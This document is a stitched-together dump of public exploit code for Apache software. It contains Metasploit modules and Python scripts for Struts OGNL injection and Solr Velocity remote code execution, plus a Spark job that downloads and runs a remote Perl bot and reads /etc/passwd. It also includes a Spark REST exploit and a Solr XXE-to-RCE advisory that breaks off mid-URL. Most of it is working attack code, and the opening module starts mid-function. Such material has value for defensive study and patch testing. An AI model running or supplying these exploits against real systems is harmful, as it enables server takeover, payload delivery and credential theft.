path = datastore['TMPPATH']
return nil unless path
case get_target_platform
when Msf::Module::Platform::Windows
slash = '\\'
when
slash = '/'
else
end
unless path.end_with?('/')
path << '/'
end
return path
}.call
end
def send_http_request(payload, params_hash)
uri = normalize_uri(datastore['TARGETURI'])
uri = "#{uri}/#{payload}"
resp = send_request_cgi(
'uri' => uri,
'version' => '1.1',
'method' => 'POST',
'vars_post' => params_hash
)
if resp && resp.code == 404
fail_with(Failure::BadConfig, 'Server returned HTTP 404, please double check TARGETURI')
end
resp
end
def generate_rce_payload(code)
payload = ""
payload << Rex::Text.uri_encode("#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS")
payload << ","
payload << Rex::Text.uri_encode(code)
payload << ","
payload << Rex::Text.uri_encode("#xx.toString.json")
payload << "?"
payload << Rex::Text.uri_encode("#xx:#request.toString")
payload
end
def upload_exec(cmd, filename, content)
var_a = rand_text_alpha_lower(4)
var_b = rand_text_alpha_lower(4)
var_c = rand_text_alpha_lower(4)
var_d = rand_text_alpha_lower(4)
var_e = rand_text_alpha_lower(4)
var_f = rand_text_alpha_lower(4)
code = "##{var_a}=new sun.misc.BASE64Decoder(),"
code << "##{var_b}=new java.io.FileOutputStream(new java.lang.String(##{var_a}.decodeBuffer(#parameters.#{var_e}[0]))),"
code << "##{var_b}.write(new java.math.BigInteger(#parameters.#{var_f}[0], 16).toByteArray()),##{var_b}.close(),"
code << "##{var_c}=new java.io.File(new java.lang.String(##{var_a}.decodeBuffer(#parameters.#{var_e}[0]))),##{var_c}.setExecutable(true),"
code << "@java.lang.Runtime@getRuntime().exec(new java.lang.String(##{var_a}.decodeBuffer(#parameters.#{var_d}[0])))"
payload = generate_rce_payload(code)
params_hash = {
var_d => Rex::Text.encode_base64(cmd),
var_e => Rex::Text.encode_base64(filename),
var_f => content
}
send_http_request(payload, params_hash)
end
def check
var_a = rand_text_alpha_lower(4)
var_b = rand_text_alpha_lower(4)
addend_one = rand_text_numeric(rand(3) + 1).to_i
addend_two = rand_text_numeric(rand(3) + 1).to_i
sum = addend_one + addend_two
flag = Rex::Text.rand_text_alpha(5)
code = "##{var_a}=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),"
code << "##{var_a}.print(#parameters.#{var_b}[0]),"
code << "##{var_a}.print(new java.lang.Integer(#{addend_one}+#{addend_two})),"
code << "##{var_a}.print(#parameters.#{var_b}[0]),"
code << "##{var_a}.close()"
payload = generate_rce_payload(code)
params_hash = { var_b => flag }
begin
resp = send_http_request(payload, params_hash)
rescue Msf::Exploit::Failed
return Exploit::CheckCode::Unknown
end
if resp && resp.code == 200 && resp.body.include?("#{flag}#{sum}#{flag}")
Exploit::CheckCode::Vulnerable
else
Exploit::CheckCode::Safe
end
end
def exploit
payload_exe = rand_text_alphanumeric(4 + rand(4))
case target['Platform']
when 'java'
payload_exe = "#{temp_path}#{payload_exe}.jar"
pl_exe = payload.encoded_jar.pack
command = "java -jar #{payload_exe}"
when 'linux'
path = datastore['TMPPATH'] || '/tmp/'
pl_exe = generate_payload_exe
payload_exe = "#{path}#{payload_exe}"
command = "/bin/sh -c #{payload_exe}"
when 'win'
path = temp_path || '.\\'
pl_exe = generate_payload_exe
payload_exe = "#{path}#{payload_exe}.exe"
command = "cmd.exe /c #{payload_exe}"
else
fail_with(Failure::NoTarget, 'Unsupported target platform!')
end
pl_content = pl_exe.unpack('H*').join()
print_status("Uploading exploit to #{payload_exe}, and executing it.")
upload_exec(command, payload_exe, pl_content)
handler
end
end
#!/usr/bin/python
# -*- coding: utf-8 -*-
import requests
import random
import base64
upperAlpha = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
lowerAlpha = "abcdefghijklmnopqrstuvwxyz"
numerals = "0123456789"
allchars = [chr(_) for _ in xrange(0x00, 0xFF + 0x01)]
def rand_base(length, bad, chars):
'''generate a random string with chars collection'''
cset = (set(chars) - set(list(bad)))
if len(cset) == 0:
return ""
chars = [list(cset)[random.randrange(len(cset))] for i in xrange(length)]
chars = map(str, chars)
return "".join(chars)
def rand_char(bad='', chars=allchars):
'''generate a random char with chars collection'''
return rand_base(1, bad, chars)
def rand_text(length, bad='', chars=allchars):
'''generate a random string (cab be with unprintable chars)'''
return rand_base(length, bad, chars)
def rand_text_alpha(length, bad=''):
'''generate a random string with alpha chars'''
chars = upperAlpha + lowerAlpha
return rand_base(length, bad, set(chars))
def rand_text_alpha_lower(length, bad=''):
'''generate a random lower string with alpha chars'''
return rand_base(length, bad, set(lowerAlpha))
def rand_text_alpha_upper(length, bad=''):
'''generate a random upper string with alpha chars'''
return rand_base(length, bad, set(upperAlpha))
def rand_text_alphanumeric():
'''generate a random string with alpha and numerals chars'''
chars = upperAlpha + lowerAlpha + numerals
return rand_base(length, bad, set(chars))
def rand_text_numeric(length, bad=''):
'''generate a random string with numerals chars'''
return rand_base(length, bad, set(numerals))
def generate_rce_payload(code):
'''generate apache struts2 s2-033 payload.
'''
payload = ""
payload += requests.utils.quote("#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS")
payload += ","
payload += requests.utils.quote(code)
payload += ","
payload += requests.utils.quote("#xx.toString.json")
payload += "?"
payload += requests.utils.quote("#xx:#request.toString")
return payload
def check(url):
'''check if url is vulnerable to apache struts2 S2-033.
'''
var_a = rand_text_alpha(4)
var_b = rand_text_alpha(4)
flag = rand_text_alpha(5)
addend_one = int(rand_text_numeric(2))
addend_two = int(rand_text_numeric(2))
addend_sum = addend_one + addend_two
code = "#{var_a}=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),"
code += "#{var_a}.print(#parameters.{var_b}[0]),"
code += "#{var_a}.print(new java.lang.Integer({addend_one}+{addend_two})),"
code += "#{var_a}.print(#parameters.{var_b}[0]),"
code += "#{var_a}.close()"
payload = generate_rce_payload(code.format(
var_a=var_a, var_b=var_b, addend_one=addend_one, addend_two=addend_two
))
url = url + "/" + payload
resp = requests.post(url, data={ var_b: flag }, timeout=8)
vul_flag = "{flag}{addend_sum}{flag}".format(flag=flag, addend_sum=addend_sum)
if resp and resp.status_code == 200 and vul_flag in resp.text:
return True, resp.text
return False, ''
def exploit(url, cmd):
'''exploit url with apache struts2 S2-033.
'''
var_a = rand_text_alpha(4)
var_b = rand_text_alpha(4) # cmd
code = "#{var_a}=new sun.misc.BASE64Decoder(),"
# code += "@java.lang.Runtime@getRuntime().exec(new java.lang.String(#{var_a}.decodeBuffer(#parameters.{var_b}[0])))" # Error 500
code += "#wr=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),"
code += "#rs=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(new java.lang.String(#{var_a}.decodeBuffer(#parameters.{var_b}[0])))),"
code += "#wr.println(#rs),#wr.flush(),#wr.close()"
payload = generate_rce_payload(code.format(
var_a=var_a, var_b=var_b
))
url = url + "/" + payload
requests.post(url, data={ var_b: base64.b64encode(cmd) }, timeout=8)
if __name__ == '__main__':
import sys
if len(sys.argv) != 3:
print("[*] python {} <url> <cmd>".format(sys.argv[0]))
sys.exit(1)
url = sys.argv[1]
cmd = sys.argv[2]
print(check(url))
exploit(url, cmd)
## References
# 1. https://github.com/rapid7/metasploit-framework/pull/6945
source: https://www.securityfocus.com/bid/60345/info
Apache Struts is prone to a remote OGNL expression injection vulnerability.
Remote attackers can exploit this issue to manipulate server-side objects and execute arbitrary commands within the context of the application.
Apache Struts 2.0.0 through versions 2.3.14.3 are vulnerable.
http://www.example.com/example/%24%7B%23foo%3D%27Menu%27%2C%23foo%7D
http://www.example.com/example/${#foo='Menu',#foo}
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
'Name' => 'Apache Struts Dynamic Method Invocation Remote Code Execution',
'Description' => %q{
This module exploits a remote command execution vulnerability in Apache Struts
version between 2.3.20 and 2.3.28 (except 2.3.20.2 and 2.3.24.2). Remote Code
Execution can be performed via method: prefix when Dynamic Method Invocation
is enabled.
},
'Author' => [ 'Nixawk' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2016-3081' ],
[ 'URL', 'https://www.seebug.org/vuldb/ssvid-91389' ]
],
'Platform' => %w{ linux },
'Privileged' => true,
'DefaultOptions' => {
'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp_uuid'
},
'Targets' =>
[
['Linux Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
}
]
],
'DisclosureDate' => 'Apr 27 2016',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(8080),
OptString.new('TARGETURI', [ true, 'The path to a struts application action', '/blank-struts2/login.action']),
OptString.new('TMPPATH', [ false, 'Overwrite the temp path for the file upload. Needed if the home directory is not writable.', nil])
], self.class)
end
def print_status(msg='')
super("#{peer} - #{msg}")
end
def send_http_request(payload)
uri = normalize_uri(datastore['TARGETURI'])
res = send_request_cgi(
'uri' => "#{uri}#{payload}",
'method' => 'POST')
if res && res.code == 404
fail_with(Failure::BadConfig, 'Server returned HTTP 404, please double check TARGETURI')
end
res
end
def parameterize(params) # params is a hash
URI.escape(params.collect { |k, v| "#{k}=#{v}" }.join('&'))
end
def generate_rce_payload(code, params_hash)
payload = "?method:"
payload << Rex::Text.uri_encode("#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS")
payload << ","
payload << Rex::Text.uri_encode(code)
payload << ","
payload << Rex::Text.uri_encode("1?#xx:#request.toString")
payload << "&"
payload << parameterize(params_hash)
payload
end
def temp_path
@TMPPATH ||= lambda {
path = datastore['TMPPATH']
return nil unless path
unless path.end_with?('/')
path << '/'
end
return path
}.call
end
def upload_file(filename, content)
var_a = rand_text_alpha_lower(4)
var_b = rand_text_alpha_lower(4)
var_c = rand_text_alpha_lower(4)
var_d = rand_text_alpha_lower(4)
code = "##{var_a}=new sun.misc.BASE64Decoder(),"
code << "##{var_b}=new java.io.FileOutputStream(new java.lang.String(##{var_a}.decodeBuffer(#parameters.#{var_c}[0]))),"
code << "##{var_b}.write(##{var_a}.decodeBuffer(#parameters.#{var_d}[0])),"
code << "##{var_b}.close()"
params_hash = { var_c => filename, var_d => content }
payload = generate_rce_payload(code, params_hash)
send_http_request(payload)
end
def execute_command(cmd)
var_a = rand_text_alpha_lower(4)
var_b = rand_text_alpha_lower(4)
var_c = rand_text_alpha_lower(4)
var_d = rand_text_alpha_lower(4)
var_e = rand_text_alpha_lower(4)
var_f = rand_text_alpha_lower(4)
code = "##{var_a}=@java.lang.Runtime@getRuntime().exec(#parameters.#{var_f}[0]).getInputStream(),"
code << "##{var_b}=new java.io.InputStreamReader(##{var_a}),"
code << "##{var_c}=new java.io.BufferedReader(##{var_b}),"
code << "##{var_d}=new char[1024],"
code << "##{var_c}.read(##{var_d}),"
code << "##{var_e}=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),"
code << "##{var_e}.println(##{var_d}),"
code << "##{var_e}.close()"
cmd.tr!(' ', '+') if cmd && cmd.include?(' ')
params_hash = { var_f => cmd }
payload = generate_rce_payload(code, params_hash)
send_http_request(payload)
end
def linux_stager
payload_exe = rand_text_alphanumeric(4 + rand(4))
path = temp_path || '/tmp/'
payload_exe = "#{path}#{payload_exe}"
b64_filename = Rex::Text.encode_base64(payload_exe)
b64_content = Rex::Text.encode_base64(generate_payload_exe)
print_status("Uploading exploit to #{payload_exe}")
upload_file(b64_filename, b64_content)
print_status("Attempting to execute the payload...")
execute_command("chmod 700 #{payload_exe}")
execute_command("/bin/sh -c #{payload_exe}")
end
def exploit
linux_stager
end
def check
var_a = rand_text_alpha_lower(4)
var_b = rand_text_alpha_lower(4)
addend_one = rand_text_numeric(rand(3) + 1).to_i
addend_two = rand_text_numeric(rand(3) + 1).to_i
sum = addend_one + addend_two
flag = Rex::Text.rand_text_alpha(5)
code = "##{var_a}=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),"
code << "##{var_a}.print(#parameters.#{var_b}[0]),"
code << "##{var_a}.print(new java.lang.Integer(#{addend_one}+#{addend_two})),"
code << "##{var_a}.print(#parameters.#{var_b}[0]),"
code << "##{var_a}.close()"
params_hash = { var_b => flag }
payload = generate_rce_payload(code, params_hash)
begin
resp = send_http_request(payload)
rescue Msf::Exploit::Failed
return Exploit::CheckCode::Unknown
end
if resp && resp.code == 200 && resp.body.include?("#{flag}#{sum}#{flag}")
Exploit::CheckCode::Vulnerable
else
Exploit::CheckCode::Safe
end
end
end
# Exploit Title: Arbitary Code Execution in Apache Spark Cluster
# Date: 23/03/2015
# Exploit Author: AkhlD (AkhilDas) <akhld@live.com> CodeBreach.in
# Vendor Homepage: https://spark.apache.org/
# Software Link: https://spark.apache.org/downloads.html
# Version: All (0.0.x, 1.1.x, 1.2.x, 1.3.x)
# Tested on: 1.2.1
# Credits: Mayur Rustagi (@mayur_rustagi), Patrick Wendel (@pwendell) for
reviewing.
# Reference(s) :
http://codebreach.in/blog/2015/03/arbitary-code-execution-in-unsecured-apache-spark-cluster/
# Exploit URL : https://github.com/akhld/spark-exploit/
# Spark clusters which are not secured with proper firewall can be taken
over easily (Since it does not have
# any authentication mechanism), this exploit simply runs arbitarty codes
over the cluster.
# All you have to do is, find a vulnerable Spark cluster (usually runs on
port 7077) add that host to your
# hosts list so that your system will recognize it (here its
spark-b-akhil-master pointing
# to 54.155.61.87 in my /etc/hosts) and submit your Spark Job with arbitary
codes that you want to execute.
# Language: Scala
import org.apache.spark.{SparkContext, SparkConf}
/**
* Created by akhld on 23/3/15.
*/
object Exploit {
def main(arg: Array[String]) {
val sconf = new SparkConf()
.setMaster("spark://spark-b-akhil-master:7077") // Set this to the
vulnerable host URI
.setAppName("Exploit")
.set("spark.cores.max", "2")
.set("spark.executor.memory", "2g")
.set("spark.driver.host","hacked.work") // Set this to your host from
where you launch the attack
val sc = new SparkContext(sconf)
sc.addJar("target/scala-2.10/spark-exploit_2.10-1.0.jar")
val exploit = sc.parallelize(1 to 1).map(x=>{
//Replace these with whatever you want to get executed
val x = "wget https://mallicioushost/mal.pl -O bot.pl".!
val y = "perl bot.pl".!
scala.io.Source.fromFile("/etc/passwd").mkString
})
exploit.collect().foreach(println)
}
}
Thanks
Best Regards
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
def initialize(info = {})
super(update_info(info,
'Name' => 'Apache Spark Unauthenticated Command Execution',
'Description' => %q{
This module exploits an unauthenticated command execution vulnerability in Apache Spark with standalone cluster mode through REST API.
It uses the function CreateSubmissionRequest to submit a malious java class and trigger it.
},
'License' => MSF_LICENSE,
'Author' =>
[
'aRe00t', # Proof of concept
'Green-m <greenm.xxoo[at]gmail.com>' # Metasploit module
],
'References' =>
[
['URL', 'https://www.jianshu.com/p/a080cb323832'],
['URL', 'https://github.com/vulhub/vulhub/tree/master/spark/unacc']
],
'Platform' => 'java',
'Arch' => [ARCH_JAVA],
'Targets' =>
[
['Automatic', {}]
],
'Privileged' => false,
'DisclosureDate' => 'Dec 12 2017',
'DefaultTarget' => 0,
'Notes' =>
{
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS],
'Stability' => [ CRASH_SAFE ],
'Reliability' => [ REPEATABLE_SESSION]
}
))
register_options [
Opt::RPORT(6066),
OptInt.new('HTTPDELAY', [true, 'Number of seconds the web server will wait before termination', 10])
]
end
def check
return CheckCode::Detected if get_version
CheckCode::Unknown
end
def primer
path = service.resources.keys[0]
binding_ip = srvhost_addr
proto = datastore['SSL'] ? 'https' : 'http'
payload_uri = "#{proto}://#{binding_ip}:#{datastore['SRVPORT']}/#{path}"
send_payload(payload_uri)
end
def exploit
fail_with(Failure::Unknown, "Something went horribly wrong and we couldn't continue to exploit.") unless get_version
vprint_status("Generating payload ...")
@pl = generate_payload.encoded_jar(random:true)
print_error("Failed to generate the payload.") unless @pl
print_status("Starting up our web service ...")
Timeout.timeout(datastore['HTTPDELAY']) { super }
rescue Timeout::Error
end
def get_version
@version = nil
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path),
'method' => 'GET'
)
unless res
vprint_bad("#{peer} - No response. ")
return false
end
if res.code == 401
print_bad("#{peer} - Authentication required.")
return false
end
unless res.code == 400
return false
end
res_json = res.get_json_document
@version = res_json['serverSparkVersion']
if @version.nil?
vprint_bad("#{peer} - Cannot parse the response, seems like it's not Spark REST API.")
return false
end
true
end
def send_payload(payload_uri)
rand_appname = Rex::Text.rand_text_alpha_lower(8..16)
data =
{
"action" => "CreateSubmissionRequest",
"clientSparkVersion" => @version.to_s,
"appArgs" => [],
"appResource" => payload_uri.to_s,
"environmentVariables" => {"SPARK_ENV_LOADED" => "1"},
"mainClass" => "#{@pl.substitutions["metasploit"]}.Payload",
"sparkProperties" =>
{
"spark.jars" => payload_uri.to_s,
"spark.driver.supervise" => "false",
"spark.app.name" => rand_appname.to_s,
"spark.eventLog.enabled" => "true",
"spark.submit.deployMode" => "cluster",
"spark.master" => "spark://#{rhost}:#{rport}"
}
}
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, "/v1/submissions/create"),
'method' => 'POST',
'ctype' => 'application/json;charset=UTF-8',
'data' => data.to_json
)
end
# Handle incoming requests
def on_request_uri(cli, request)
print_status("#{rhost}:#{rport} - Sending the payload to the server...")
send_response(cli, @pl)
end
end
# Title: Apache Solr 8.2.0 - Remote Code Execution
# Date: 2019-11-01
# Author: @l3x_wong
# Vendor: https://lucene.apache.org/solr/
# Software Link: https://lucene.apache.org/solr/downloads.html
# CVE: N/A
# github: https://github.com/AleWong/Apache-Solr-RCE-via-Velocity-template
# usage: python3 script.py ip [port [command]]
# default port=8983
# default command=whoami
# note:
# Step1: Init Apache Solr Configuration
# Step2: Remote Exec in Every Solr Node
import sys
import json
import time
import requests
class initSolr(object):
timestamp_s = str(time.time()).split('.')
timestamp = timestamp_s[0] + timestamp_s[1][0:-3]
def __init__(self, ip, port):
self.ip = ip
self.port = port
def get_nodes(self):
payload = {
'_': self.timestamp,
'indexInfo': 'false',
'wt': 'json'
}
url = 'http://' + self.ip + ':' + self.port + '/solr/admin/cores'
try:
nodes_info = requests.get(url, params=payload, timeout=5)
node = list(nodes_info.json()['status'].keys())
state = 1
except:
node = ''
state = 0
if node:
return {
'node': node,
'state': state,
'msg': 'Get Nodes Successfully'
}
else:
return {
'node': None,
'state': state,
'msg': 'Get Nodes Failed'
}
def get_system(self):
payload = {
'_': self.timestamp,
'wt': 'json'
}
url = 'http://' + self.ip + ':' + self.port + '/solr/admin/info/system'
try:
system_info = requests.get(url=url, params=payload, timeout=5)
os_name = system_info.json()['system']['name']
os_uname = system_info.json()['system']['uname']
os_version = system_info.json()['system']['version']
state = 1
except:
os_name = ''
os_uname = ''
os_version = ''
state = 0
return {
'system': {
'name': os_name,
'uname': os_uname,
'version': os_version,
'state': state
}
}
class apacheSolrRCE(object):
def __init__(self, ip, port, node, command):
self.ip = ip
self.port = port
self.node = node
self.command = command
self.url = "http://" + self.ip + ':' + self.port + '/solr/' + self.node
def init_node_config(self):
url = self.url + '/config'
payload = {
'update-queryresponsewriter': {
'startup': 'lazy',
'name': 'velocity',
'class': 'solr.VelocityResponseWriter',
'template.base.dir': '',
'solr.resource.loader.enabled': 'true',
'params.resource.loader.enabled': 'true'
}
}
try:
res = requests.post(url=url, data=json.dumps(payload), timeout=5)
if res.status_code == 200:
return {
'init': 'Init node config successfully',
'state': 1
}
else:
return {
'init': 'Init node config failed',
'state': 0
}
except:
return {
'init': 'Init node config failed',
'state': 0
}
def rce(self):
url = self.url + ("/select?q=1&&wt=velocity&v.template=custom&v.template.custom="
"%23set($x=%27%27)+"
"%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+"
"%23set($chr=$x.class.forName(%27java.lang.Character%27))+"
"%23set($str=$x.class.forName(%27java.lang.String%27))+"
"%23set($ex=$rt.getRuntime().exec(%27" + self.command +
"%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+"
"%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end")
try:
res = requests.get(url=url, timeout=5)
if res.status_code == 200:
try:
if res.json()['responseHeader']['status'] == '0':
return 'RCE failed @Apache Solr node %s\n' % self.node
else:
return 'RCE failed @Apache Solr node %s\n' % self.node
except:
return 'RCE Successfully @Apache Solr node %s\n %s\n' % (self.node, res.text.strip().strip('0'))
else:
return 'RCE failed @Apache Solr node %s\n' % self.node
except:
return 'RCE failed @Apache Solr node %s\n' % self.node
def check(ip, port='8983', command='whoami'):
system = initSolr(ip=ip, port=port)
if system.get_nodes()['state'] == 0:
print('No Nodes Found. Remote Exec Failed!')
else:
nodes = system.get_nodes()['node']
systeminfo = system.get_system()
os_name = systeminfo['system']['name']
os_version = systeminfo['system']['version']
print('OS Realese: %s, OS Version: %s\nif remote exec failed, '
'you should change your command with right os platform\n' % (os_name, os_version))
for node in nodes:
res = apacheSolrRCE(ip=ip, port=port, node=node, command=command)
init_node_config = res.init_node_config()
if init_node_config['state'] == 1:
print('Init node %s Successfully, exec command=%s' % (node, command))
result = res.rce()
print(result)
else:
print('Init node %s Failed, Remote Exec Failed\n' % node)
if __name__ == '__main__':
usage = ('python3 script.py ip [port [command]]\n '
'\t\tdefault port=8983\n '
'\t\tdefault command=whoami')
if len(sys.argv) == 4:
ip = sys.argv[1]
port = sys.argv[2]
command = sys.argv[3]
check(ip=ip, port=port, command=command)
elif len(sys.argv) == 3:
ip = sys.argv[1]
port = sys.argv[2]
check(ip=ip, port=port)
elif len(sys.argv) == 2:
ip = sys.argv[1]
check(ip=ip)
else:
print('Usage: %s:\n' % usage)
First Vulnerability: XML External Entity Expansion (deftype=xmlparser)
Lucene includes a query parser that is able to create the full-spectrum of Lucene queries, using an XML data structure. Starting from version 5.1 Solr supports "xml" query parser in the search query.
The problem is that lucene xml parser does not explicitly prohibit doctype declaration and expansion of external entities. It is possible to include special entities in the xml document, that point to external files (via file://) or external urls (via http://):
Example usage: http://localhost:8983/solr/gettingstarted/select?q={!xmlparser v='<!DOCTYPE a SYSTEM "http://xxx.s.artsploit.com/xxx"'><a></a>'}
When Solr is parsing this request, it makes a HTTP request to http://xxx.s.artsploit.com/xxx and treats its content as DOCTYPE definition.
Considering that we can define parser type in the search query, which is very often comes from untrusted user input, e.g. search fields on websites. It allows to an external attacker to make arbitrary HTTP requests to the local SOLR instance and to bypass all firewall restrictions.
For example, this vulnerability could be user to send malicious data to the '/upload' handler:
http://localhost:8983/solr/gettingstarted/select?q={!xmlparser v='<!DOCTYPE a SYSTEM "http://xxx.s.artsploit.com/solr/gettingstarted/upload?stream.body={"xx":"yy"}&commit=true"'><a></a>'}
This vulnerability can also be exploited as Blind XXE using ftp wrapper in order to read arbitrary local files from the solrserver.
Vulnerable code location:
/solr/src/lucene/queryparser/src/java/org/apache/lucene/queryparser/xml/CoreParser.java
static Document parseXML(InputStream pXmlFile) throws ParserException {
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = null;
try {
db = dbf.newDocumentBuilder();
}
catch (Exception se) {
throw new ParserException("XML Parser configuration error", se);
}
org.w3c.dom.Document doc = null;
try {
doc = db.parse(pXmlFile);
}
Steps to reproduce:
1. Set up a listener on any port by using netcat command "nc -lv 4444"
2. Open http://localhost:8983/solr/gettingstarted/select?q={!xmlparser v='<!DOCTYPE a SYSTEM "http://localhost:4444/executed"><a></a>'}
3. You will see a request from the Solr server on your netcat listener. It proves that the DOCTYPE declaration is resolved.
Remediation suggestions:
Consider adding the following lines to /solr/src/lucene/queryparser/src/java/org/apache/lucene/queryparser/xml/CoreParser.java:
static Document parseXML(InputStream pXmlFile) throws ParserException {
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = null;
try {
//protect from XXE attacks
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
db = dbf.newDocumentBuilder();
}
catch (Exception se) {
throw new ParserException("XML Parser configuration error", se);
}
org.w3c.dom.Document doc = null;
try {
doc = db.parse(pXmlFile);
}
Links:
https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing
https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet
CVSS v2 base score: 9.0
(AV:N/AC:L/Au:N/C:C/I:P/A:P)
Second Vulnerability: Remote Code Execution (add-listener: RunExecutableListener)
Solr "RunExecutableListener" class can be used to execute arbitrary commands on specific events, for example after each update query. The problem is that such listener can be enabled with any parameters just by using Config API with add-listener command.
POST /solr/newcollection/config HTTP/1.1
Host: localhost:8983
Connection: close
Content-Type: application/json
Content-Length: 198
{
"add-listener" : {
"event":"postCommit",
"name":"newlistener",
"class":"solr.RunExecutableListener",
"exe":"ANYCOMMAND",
"dir":"/usr/bin/",
"args":["ANYARGS"]
}
}
Parameters "exe", "args" and "dir" can be crafted throught the HTTP request during modification of the collection's config. This means that anybody who can send a HTTP request to Solr API is able to execute arbitrary shell commands when "postCommit" event is fired. It leads to execution of arbitrary remote code for a remote attacker.
Steps to reproduce:
Step 1. Create a new collection:
http://localhost:8983/solr/admin/collections?action=CREATE&name=newcollection&numShards=2
Step 2. Set up a listener on any port by using netcat command "nc -lv 4444"
Step 3. Add a new RunExecutableListener listener for the collection where "exe" attribute contents the name of running command ("/usr/bin/curl") and "args" attribute contents "http://localhost:4444/executed" value to make a request to the attacker's netcat listener:
POST /solr/newcollection/config HTTP/1.1
Host: localhost:8983
Connection: close
Content-Type: application/json
Content-Length: 198
{
"add-listener" : {
"event":"postCommit",
"name":"newlistener",
"class":"solr.RunExecutableListener",
"exe":"curl",
"dir":"/usr/bin/",
"args":["http://localhost:4444/executed"]
}
}
Step 4. Update "newcollection" to trigger execution of RunExecutableListener:
POST /solr/newcollection/update HTTP/1.1
Host: localhost:8983
Connection: close
Content-Type: application/json
Content-Length: 19
[{"id":"test"}]
Step 5. You will see a request from the Solr server on your netcat listener. It proves that the curl command is executed on the server.
CVSS v2 base score: 10.0
(AV:N/AC:L/Au:N/C:C/I:C/A:C)
Summary:
By chaining these two vulnerabilities, an external attacker can achieve remote code execution even without direct access to the Solr server. The only requirement is that the attacker should be able to specify a part of query that comes to "q"
search parameter (which is a case for many web applications who use solr).
Lets say that we have an attacker who can only send search queries ("q" param) to a "/select" solr endpoint.
Here is the complete exploit scenario:
Step 1. Create New collection via XXE. This step may be skipped if the attacker already knows any collection name.
http://localhost:8983/solr/gettingstarted/select?q=%20%7b%21%78%6d%6c%70%61%72%73%65%72%20%76%3d%27%3c%21%44%4f%43%54%59%50%45%20%61%20%53%59%53%54%45%4d%20%22%68%74%74%70%3a%2f%2f%6c%6f%63%61%6c%68%6f%73%74%3a%38%39%38%33%2f%73%6f%6c%72%2f%61%64%6d%69%6e%2f%63%6f%6c%6c%65%63%74%69%6f%6e%73%3f%61%63%74%69%6f%6e%3d%43%52%45%41%54%45%26%6e%61%6d%65%3d%6e%65%77%63%6f%6c%6c%65%63%74%69%6f%6e%26%6e%75%6d%53%68%61%72%64%73%3d%32%22%3e%3c%61%3e%3c%2f%61%3e%27%7d%20
Without URL encode:
http://localhost:8983/solr/gettingstarted/select?q={!xmlparser v='<!DOCTYPE a SYSTEM "http://localhost:8983/solr/admin/collections?action=CREATE&name=newcollection&numShards=2"><a></a>'}
Step 2. Set up a netcat listener "nc -lv 4444"
Step 3. Add a new RunExecutableListener listener via XXE
http://localhost:8983/solr/newcollection/select?q=%7b%21%78%6d%6c%70%61%72%73%65%72%20%76%3d%27%3c%21%44%4f%43%54%59%50%45%20%61%20%53%59%53%54%45%4d%20%22%68%74%74%70%3a%2f%2f%6c%6f%63%61%6c%68%6f%73%74%3a%38%39%38%33%2f%73%6f%6c%72%2f%6e%65%77%63%6f%6c%6c%65%63%74%69%6f%6e%2f%73%65%6c%65%63%74%3f%71%3d%78%78%78%26%71%74%3d%2f%73%6f%6c%72%2f%6e%65%77%63%6f%6c%6c%65%63%74%69%6f%6e%2f%63%6f%6e%66%69%67%3f%73%74%72%65%61%6d%2e%62%6f%64%79%3d%25%32%35%37%62%25%32%35%32%32%25%32%35%36%31%25%32%35%36%34%25%32%35%36%34%25%32%35%32%64%25%32%35%36%63%25%32%35%36%39%25%32%35%37%33%25%32%35%37%34%25%32%35%36%35%25%32%35%36%65%25%32%35%36%35%25%32%35%37%32%25%32%35%32%32%25%32%35%33%61%25%32%35%37%62%25%32%35%32%32%25%32%35%36%35%25%32%35%37%36%25%32%35%36%35%25%32%35%36%65%25%32%35%37%34%25%32%35%32%32%25%32%35%33%61%25%32%35%32%32%25%32%35%37%30%25%32%35%36%66%25%32%35%37%33%25%32%35%37%34%25%32%35%34%33%25%32%35%36%66%25%32%35%36%64%25%32%35%36%64%25%32%35%36%39%25%32%35%37%34%25%32%35%32%32%25%32%35%32%63%25%32%35%32%32%25%32%35%36%65%25%32%35%36%31%25%32%35%36%64%25%32%35%36%35%25%32%35%32%32%25%32%35%33%61%25%32%35%32%32%25%32%35%36%65%25%32%35%36%35%25%32%35%37%37%25%32%35%36%63%25%32%35%36%39%25%32%35%37%33%25%32%35%37%34%25%32%35%36%35%25%32%35%36%65%25%32%35%36%35%25%32%35%37%32%25%32%35%32%32%25%32%35%32%63%25%32%35%32%32%25%32%35%36%33%25%32%35%36%63%25%32%35%36%31%25%32%35%37%33%25%32%35%37%33%25%